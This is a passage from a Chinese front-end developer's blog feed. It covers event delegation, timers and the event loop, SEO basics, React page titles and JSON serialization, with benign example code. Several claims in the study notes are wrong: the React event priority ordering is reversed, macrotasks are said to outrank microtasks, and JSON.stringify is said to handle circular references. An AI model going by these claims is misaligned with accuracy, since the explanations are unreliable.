<li>简化了dom节点更新时，相应事件的更新</li>
</ol>
<h3 id="缺点">缺点:</h3>
<ol>
<li>基于冒泡，对于不冒泡的事件不支持</li>
<li>层级过多，冒泡过程中，可能会被某层阻止掉。</li>
<li>理论上委托会导致浏览器频繁调用处理函数，虽然很可能不需要处理。所以建议就近委托，比如在table上代理td，而不是在document上代理td</li>
</ol>
<h3 id="react中的事件委托">React中的事件委托</h3>
<ul>
<li>React 借鉴事件委托的方式将大部分事件委托给了 Document 对象</li>
<li>事件委托需要区分捕获和冒泡，有些事件由于没有冒泡过程，只能在捕获阶段进行事件委托</li>
<li>没有进行委托的事件是<code>Form</code>事件和<code>Media</code>事件，原因是这些事件针对特性类型元素，委托意义不大，React 将其直接注册到了目标对象</li>
<li>React 中的事件分为 3 类。
<ol>
<li>DiscreteEvent：click，blur,focus,submit,tuchStart 等。优先级最低。</li>
<li>UserBlockingEvent：touchMove,mouseMove,scroll,drag,dragOver 等。这些事件会阻塞用户的交互，优先级次之</li>
<li>ContinuousEvent：load,error,loadStart,abort,animationend 等。优先级最高，不会被打断。</li>
</ol>
</li>
</ul>
<h3 id="示例">示例</h3>
<ul>
<li>html
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Exercise<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Write code<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Play music<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Relax<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>css
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">list</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s2">&#34;ul&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">list</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;click&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">(</span><span class="nx">ev</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">ev</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">tagName</span> <span class="o">===</span> <span class="s2">&#34;LI&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">ev</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">toggle</span><span class="p">(</span><span class="s2">&#34;done&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/event-delegation"  target="_blank" rel="noopener" >事件委托</a></li>
<li><a href="https://juejin.cn/post/6844903589052153869"  target="_blank" rel="noopener" >js中的事件委托或事件代理详解 - 掘金</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/165089379"  target="_blank" rel="noopener" >React 中的事件委托 - 知乎</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/165089379"  target="_blank" rel="noopener" >React 中的事件委托 - 知乎</a></li>
</ul>
<hr>
<h2 id="settimeout">setTimeout</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/setTimeout"  target="_blank" rel="noopener" >setTimeout() 全局函数 - Web API 接口参考 | MDN</a></li>
<li>参数:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">timeoutID</span> <span class="o">=</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span> <span class="p">[</span><span class="nx">delay</span><span class="p">,</span> <span class="nx">arg1</span><span class="p">,</span> <span class="nx">arg2</span><span class="p">,</span> <span class="p">...]);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// timeoutID 可用来作为 clearTimeout() 的参数来清除对应的定时器
</span></span></span><span class="line"><span class="cl"><span class="c1">// arg1, ..., argN 可选  当计时结束的时候，将被传递给 func 函数的附加参数。
</span></span></span></code></pre></div></li>
<li>func应是对函数的引用，示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">sayHi</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Hello&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 正确
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">sayHi</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 错的！
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">sayHi</span><span class="p">(),</span> <span class="mi">1000</span><span class="p">);</span> <span class="c1">//这样传入的是sayHi函数的执行结果:undefined
</span></span></span></code></pre></div><ul>
<li><code>delay</code>默认为0，代表了消息被实际加入到队列的<strong>最小延迟时间</strong>。如果队列中没有其他消息并且栈为空，在这段延迟时间过去之后，消息会被马上处理。</li>
<li>在默认情况下，在 <code>setTimeout()</code> 内部，this 关键字将被设置为 globalThis，在浏览器中它是 window 对象</li>
<li>setTimeout为啥不准（线程间通信怎么都会有延迟的）</li>
<li>定时器原理setTimeout/setInterval（以前翻过v8的源码，本质上都是二叉堆，与react里的scheduler的实现有异曲同工之处）</li>
</ul>
<hr>
<h2 id="setinterval">setInterval</h2>
<ul>
<li>
<p>参数：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">intervalID</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span> <span class="p">[</span><span class="nx">delay</span><span class="p">,</span> <span class="nx">arg1</span><span class="p">,</span> <span class="nx">arg2</span><span class="p">,</span> <span class="p">...]);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// intervalID 可用来作为 clearInterval() 的参数来清除对应的定时器
</span></span></span><span class="line"><span class="cl"><span class="c1">// arg1, ..., argN 可选  当计时结束的时候，将被传递给 func 函数的附加参数。
</span></span></span></code></pre></div></li>
<li>
<p>每间隔给定的时间周期性执行,时间开始计算的位置是调用内部方法的那一刻，因此第一次方法结束到第二次开始之间的时间间隔其实是小于delay的</p>
</li>
<li>
<p>如果setInterval的内部函数执行耗时大于设定的时间间隔,会发生什么？</p>
<ul>
<li>a: JavaScript 引擎会等待 func 执行完成，然后检查调度程序，如果时间到了，则 立即 再次执行它。极端情况下，如果函数每次执行时间都超过 delay 设置的时间，那么每次调用之间将完全没有停顿。</li>
<li>解决办法: 嵌套的 setTimeout
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// setInterval
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">setInterval</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">func</span><span class="p">(</span><span class="nx">i</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 嵌套的setTimeout
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="nx">run</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">func</span><span class="p">(</span><span class="nx">i</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">run</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">100</span><span class="p">)</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>
<p>参考:</p>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/setInterval"  target="_blank" rel="noopener" >setInterval() - Web API 接口 | MDN</a></li>
<li><a href="https://zh.javascript.info/settimeout-setinterval"  target="_blank" rel="noopener" >调度：setTimeout 和 setInterval</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="事件循环">事件循环</h2>
<h3 id="三种数据结构">三种数据结构：</h3>
<ol>
<li>stack: 函数调用形成了一个由若干帧组成的栈</li>
<li>heap: 对象被分配在堆中</li>
<li>queue: 一个待处理消息的消息队列。每一个消息都关联着一个用以处理这个消息的回调函数</li>
</ol>
<h3 id="两种任务">两种任务</h3>
<ul>
<li>
<p>JavaScript 的异步任务根据事件分类分为两种：宏任务（MacroTask）和微任务（MicroTask）</p>
</li>
<li>
<p>宏任务</p>
<ul>
<li>I/O（Mouse Events、Keyboard Events、Network Events）</li>
<li>setTimeout、setInterval、setImmediate</li>
<li>UI Rendering（HTML Parsing）</li>
<li>MessageChannel</li>
<li>JavaScript Run</li>
</ul>
</li>
<li>
<p>微任务</p>
<ul>
<li>DOM mutations</li>
<li>Promises</li>
</ul>
</li>
<li>
<p>优先级</p>
<ul>
<li>宏任务的优先级高于微任务</li>
<li>每个宏任务执行完毕后都必须将当前的微任务队列清空</li>
</ul>
</li>
<li>
<p>如何安排（schedule）一个新的宏任务：</p>
<ul>
<li>可使用零延迟的 setTimeout(f)</li>
<li>好处
<ol>
<li>将繁重的计算任务拆分成多个部分，以使浏览器能够对用户事件作出反应，并在任务的各部分之间显示任务进度。</li>
<li>也被用于在事件处理程序中，将一个行为（action）安排（schedule）在事件被完全处理（冒泡完成）后。</li>
</ol>
</li>
</ul>
</li>
<li>
<p>如何安排一个新的 微任务：</p>
<ul>
<li>可以使用 queueMicrotask 来在保持环境状态一致的情况下，异步地执行一个函数。</li>
<li>如果我们想要异步执行（在当前代码之后）一个函数，但是要在更改被渲染或新事件被处理之前执行，那么我们可以使用 queueMicrotask 来对其进行安排（schedule）。</li>
</ul>
</li>
</ul>
<h3 id="浏览器中的事件循环和nodejs中事件循环的区别">浏览器中的事件循环和Node.js中事件循环的区别</h3>
<ul>
<li>浏览器是一个宏任务+一个微任务队列</li>
<li>node是一个宏任务队列+一个微任务队列</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://tsejx.github.io/javascript-guidebook/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/"  target="_blank" rel="noopener" >事件循环 - JavaScript Guidebook</a></li>
<li><a href="https://juejin.cn/post/6844903655473152008"  target="_blank" rel="noopener" >浅析setTimeout与Promise - 掘金</a></li>
<li><a href="https://www.jsv9000.app/"  target="_blank" rel="noopener" >JS Visualizer 9000</a></li>
<li><a href="https://developer.aliyun.com/article/1312240"  target="_blank" rel="noopener" >浏览器中的事件循环和Node.js中事件循环的区别(经典面试题)-阿里云开发者社区</a></li>
</ul>
<hr>
<h2 id="面试问题">面试问题</h2>
<ol>
<li>实现一个事件处理对象，包括绑定，取消，执行功能
思路:构造函数里面初始化一个空对象，存储事件名。绑定，取消(对应置空)就在这个数组里面操作。执行先判断是否存在，然后调用apply函数执行回调。</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>初识seo</title>
      <link>https://ds63.eu.org/2024/the_first_take_of_seo/</link>
      <pubDate>Thu, 12 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/the_first_take_of_seo/</guid>
      <description>永远在路上</description>
      <content:encoded><![CDATA[<h2 id="seo的分类">seo的分类</h2>
<ul>
<li>On-Page: 网站的内容
<ol>
<li>Title Tags</li>
<li>Headings (H1)</li>
<li>Fast-loading pages, or page load speed</li>
<li>Page content</li>
<li>URL structure</li>
</ol>
</li>
<li>Off-page: 网站的权威性和流行性外部因素</li>
</ul>
<hr>
<h2 id="有什么改善读者体验和-seo-的写作技巧">有什么改善读者体验和 SEO 的写作技巧?</h2>
<blockquote>
<ul>
<li>扩展主题</li>
<li>在文章头部包含关键词</li>
<li>围绕主题和关键词展开内容</li>
<li>语义化元素: HTML5 的语义化，意思是用正确的元素做正确的事</li>
<li>改善链接的形式: 尽量为链接提供完整的标题、或者可被识别的提示</li>
</ul>
</blockquote>
<hr>
<h2 id="keywords有必要吗">keywords有必要吗?</h2>
<p>Google 在<a href="https://developers.google.com/search/blog/2009/09/google-does-not-use-keywords-meta-tag?hl=zh-cn"  target="_blank" rel="noopener" >Google 不会将关键字元标记用于网页排名  |  Google 搜索中心博客  |  Google for Developers</a>一文中已经明确表示<code>meta[name=keywords]</code>不再影响排名和权重,但是这并不是说关键词不重要，恰恰相反，搜索引擎是在鼓励你将你的关键词融入你的文章中，因为它们已经会用语义分析寻找关键词了。</p>
<hr>
<h2 id="怎么添加可分享的卡片">怎么添加可分享的卡片?</h2>
<ul>
<li><a href="https://github.com/frostming/fxzhihu"  target="_blank" rel="noopener" >frostming/fxzhihu: 为知乎生成可分享的卡片及 Instant View</a></li>
<li><a href="https://www.npmjs.com/package/react-helmet-async"  target="_blank" rel="noopener" >react-helmet-async - npm</a></li>
</ul>
<hr>
<h2 id="spa能做seo优化吗">spa能做seo优化吗?</h2>
<ul>
<li>能，可将爬虫引入到事先用puppeteer为SPA Prerender的内容服务中</li>
<li>流程
<ol>
<li>识别请求是用户还是搜索引擎爬虫</li>
<li>如果是用户，那就正常处理</li>
<li>如果是爬虫，那就基于puppeteer渲染SPA内容</li>
</ol>
</li>
<li>需要考虑的问题
<ol>
<li>缓存
<ul>
<li>缓存多少</li>
<li>缓存多久更新</li>
</ul>
</li>
<li>冷启动（指的是在生成有效网页之后，请求页面）可以提前在B端产生有效的网址的时候，让Prerender服务提前缓存内容</li>
</ol>
</li>
<li>较成熟的方案
<ul>
<li><a href="https://prerender.io/"  target="_blank" rel="noopener" >Prerender Seamlessly Renders JavaScript for Faster Indexing</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://mazzzystar.github.io/2023/07/23/Get-users-for-your-AI-tool-from-Google-search-zh/"  target="_blank" rel="noopener" >让你的AI工具从Google搜索中获得用户 | TL;DR</a></li>
<li><a href="https://blog.skk.moe/post/how-to-write-for-seo/"  target="_blank" rel="noopener" >如何写一篇同时面向人和搜索引擎的文章 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://medium.com/@keshidong.dev/%E5%85%B3%E4%BA%8Espa%E7%9A%84seo%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88-2639a63361ad"  target="_blank" rel="noopener" >关于SPA的SEO解决方案. 为什么SPA需要SEO优化 | by shidong ke | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React网页定制title</title>
      <link>https://ds63.eu.org/2024/add-specific-title-to-react-web-app/</link>
      <pubDate>Mon, 02 Sep 2024 00:20:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/add-specific-title-to-react-web-app/</guid>
      <description>变变变</description>
      <content:encoded><![CDATA[<h2 id="需求">需求</h2>
<p>一个使用react+react-router-dom的网页，希望不同的页面能有不同的title</p>
<h2 id="方法一--useeffect--documenttitle">方法一 : useEffect + document.title</h2>
<ul>
<li>主要思路: 监听url的变化，然后设置document.title,不同的写法差异主要在如何监听</li>
</ul>
<h3 id="写法一uselocation">写法一：useLocation()</h3>
<ul>
<li>简易的写法可以看<a href="https://stackoverflow.com/a/65709116"  target="_blank" rel="noopener" >Stack Overflow的这个回答</a></li>
<li>更进一步的写法可以看<a href="https://juejin.cn/post/7267409589079867450"  target="_blank" rel="noopener" >react-router-dom v6 路由实现动态修改document.title项目中需要在对应的路由界面 设置不同 - 掘金</a></li>
</ul>
<h3 id="写法二usematches">写法二：useMatches()</h3>
<ul>
<li>参考<a href="https://stackoverflow.com/a/78184012"  target="_blank" rel="noopener" >steinybot在Stack Overflow的这个回答</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">matches</span> <span class="o">=</span> <span class="nx">useMatches</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">{</span> <span class="nx">handle</span><span class="p">,</span> <span class="nx">data</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">matches</span><span class="p">[</span><span class="nx">matches</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">title</span> <span class="o">=</span> <span class="nx">handle</span> <span class="o">&amp;&amp;</span> <span class="nx">handle</span><span class="p">.</span><span class="nx">title</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">title</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="nx">title</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">title</span><span class="p">])</span>
</span></span></code></pre></div><ul>
<li><a href="https://reactrouter.com/en/main/hooks/use-matches"  target="_blank" rel="noopener" >useMatches v6.26.1 | React Router</a></li>
</ul>
<h2 id="方法二">方法二</h2>
<ul>
<li>使用<a href="https://www.npmjs.com/package/react-helmet-async"  target="_blank" rel="noopener" >react-helmet-async - npm</a></li>
<li>好处
<ol>
<li>代码修改小，只要在需要的地方加上就行</li>
<li>顺便能把seo也做了</li>
<li>还能支持Open Graph protocol等协议</li>
</ol>
</li>
<li>报错：<code>TypeError: Cannot read properties of undefined (reading 'add')</code>
<ul>
<li>问题其实出在我没加<code>&lt;HelmetProvider&gt;</code>,但这个报错太不友好了,有个建议优化报错信息的issue，<a href="https://github.com/staylor/react-helmet-async/issues/228"  target="_blank" rel="noopener" ><code>TypeError: Cannot read properties of undefined (reading 'add')</code> thrown when provider is missing · Issue #228 · staylor/react-helmet-async</a>，不过没被处理。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://www.freecodecamp.org/news/react-helmet-examples/"  target="_blank" rel="noopener" >How to Use React Helmet – With Example Use Case</a></li>
</ul>
</li>
</ul>
<h2 id="补充">补充</h2>
<h3 id="open-graph-protocol">Open Graph protocol</h3>
<p><a href="https://ogp.me/"  target="_blank" rel="noopener" >The Open Graph protocol</a></p>
<h3 id="twitter-cards">Twitter Cards</h3>
<p><a href="https://developer.x.com/en/docs/x-for-websites/cards/guides/getting-started"  target="_blank" rel="noopener" >Getting started with Cards | Docs | Twitter Developer Platform</a></p>
<h3 id="生成">生成</h3>
<p><a href="https://github.com/frostming/fxzhihu/tree/main"  target="_blank" rel="noopener" >frostming/fxzhihu: 为知乎生成可分享的卡片及 Instant View</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>json的序列化与反序列化</title>
      <link>https://ds63.eu.org/2024/serialization_and_deserialization/</link>
      <pubDate>Fri, 23 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/serialization_and_deserialization/</guid>
      <description>整理JavaScript知识点时发现内容还挺多，于是干脆独立出来</description>
      <content:encoded><![CDATA[<h2 id="基本概念">基本概念</h2>
<ul>
<li>
<p>序列化</p>
<ul>
<li>将json对象转换为字符串“序列”</li>
<li><code>JSON.stringify(value, replacer, space)</code></li>
<li>可通过修改对象的toJSON属性，来进一步控制</li>
</ul>
</li>
<li>
<p>反序列化</p>
<ul>
<li>将字符串“序列”转换为json对象</li>
<li><code>JSON.parse(text, reviver)</code></li>
</ul>
</li>
</ul>
<h2 id="jsonstringify的特殊情况">JSON.stringify()的特殊情况</h2>
<ol>
<li>undefined、任意的函数以及 symbol 值在序列化过程中有两种情况
<ul>
<li>被忽略（出现在非数组对象的属性值中时）</li>
<li>被转换成 null（出现在数组中时）。</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span><span class="nx">a</span><span class="o">:</span><span class="k">new</span> <span class="nb">Function</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#39;{}&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="k">new</span> <span class="nb">Function</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#39;[null]&#39;
</span></span></span></code></pre></div></li>
<li>函数、undefined 被<strong>单独转换</strong>时，会返回 undefined。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="kd">function</span><span class="p">())</span> <span class="nx">or</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="kc">undefined</span><span class="p">).</span>
</span></span></code></pre></div></li>
<li>Date 日期调用了 toJSON() 将其转换为了 string 字符串（同 Date.toISOString()），因此会被当做字符串处理。</li>
<li>其他类型的对象，包括 Map/Set/WeakMap/WeakSet，仅会序列化可枚举的属性。</li>
</ol>
<h2 id="reviver的理解">reviver的理解</h2>
<h3 id="一个出乎我意料的例子">一个出乎我意料的例子</h3>
<p>粗略扫了遍文档，我以为我已经完全掌握了序列化和反序列化，但
<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"  target="_blank" rel="noopener" >JSON.parse() - JavaScript | MDN</a>给了一个出乎我意料的例子:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">transformedObj1</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;[1,5,{&#34;s&#34;:1}]&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="k">typeof</span> <span class="nx">value</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="o">?</span> <span class="kc">undefined</span> <span class="o">:</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">transformedObj1</span><span class="p">);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="c1">// const message = [1,2,3] 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// console.log(typeof message) //object
</span></span></span></code></pre></div><p>按照我的理解，我以为最终结果会是<code>[1,5]</code>。看来自己还是图样，于是请教了ChatGPT老师。</p>
<h3 id="reviver函数的概念">reviver函数的概念</h3>
<ol>
<li>
<p>执行顺序
<code>JSON.parse</code> 解析 JSON 字符串时，<code>reviver</code> 函数会以深度优先的顺序处理每个键值对。即它会先解析嵌套的对象或数组中的值，然后再解析外层对象或数组。</p>
</li>
<li>
<p>key 和 value 的含义
key: 当前被处理的键（对于数组，key 是索引，最外层对象的 key 是空字符串 &ldquo;&quot;）。
value: 当前被处理的值，这个值可以是一个基本数据类型（如字符串、数字）或复杂的对象、数组。</p>
</li>
<li>
<p>可以通过以下例子来理解：</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;{&#34;a&#34;: 1, &#34;b&#34;: {&#34;c&#34;: 2, &#34;d&#34;: 3}, &#34;e&#34;: [4, 5]}&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`key: </span><span class="si">${</span><span class="nx">key</span><span class="si">}</span><span class="sb">, value: </span><span class="si">${</span><span class="nx">value</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">key: a, value: 1
</span></span></span><span class="line"><span class="cl"><span class="cm">key: c, value: 2
</span></span></span><span class="line"><span class="cl"><span class="cm">key: d, value: 3
</span></span></span><span class="line"><span class="cl"><span class="cm">key: b, value: [object Object]
</span></span></span><span class="line"><span class="cl"><span class="cm">key: 0, value: 4
</span></span></span><span class="line"><span class="cl"><span class="cm">key: 1, value: 5
</span></span></span><span class="line"><span class="cl"><span class="cm">key: e, value: 4,5
</span></span></span><span class="line"><span class="cl"><span class="cm">key: , value: [object Object]
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span></code></pre></div><h3 id="回到刚才的例子">回到刚才的例子</h3>
<p>理解了reviver回调函数，我就对刚才的例子没有疑问了。</p>
<p>reviver函数里的这段代码执行了五次，而最后的key为<code>&quot;&quot;</code>,value则为<code>[1,5,{&quot;s&quot;:1}]</code>。因为在 JavaScript 中，数组（Array）是 object 的一种特殊类型,因此最终结果是<code>undefined</code></p>
<p>而如果想要符合我一开始认为的结果，代码应该这样写：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">transformedObj1</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;[1,5,{&#34;s&#34;:1}]&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="nx">key</span><span class="o">!==</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">typeof</span> <span class="nx">value</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="o">?</span> <span class="kc">undefined</span> <span class="o">:</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">value</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">transformedObj1</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="jsonparsejsonstringifyobj">JSON.parse(JSON.stringify(obj))</h2>
<p>我第一次读到这行代码的时候还觉得奇怪，为什么要这样写，顺手就想改掉。想了下才意识到这是为了实现深拷贝。</p>
<h3 id="优点">优点</h3>
<ul>
<li>代码简单</li>
<li>JSON.stringify内部做了循环引用的检测，正是我们上面提到破解循环引用</li>
</ul>
<h3 id="局限性">局限性</h3>
<p>但这样写好吗？搜索后我发现有两篇文章将它的局限性写得很透彻了。</p>
<ul>
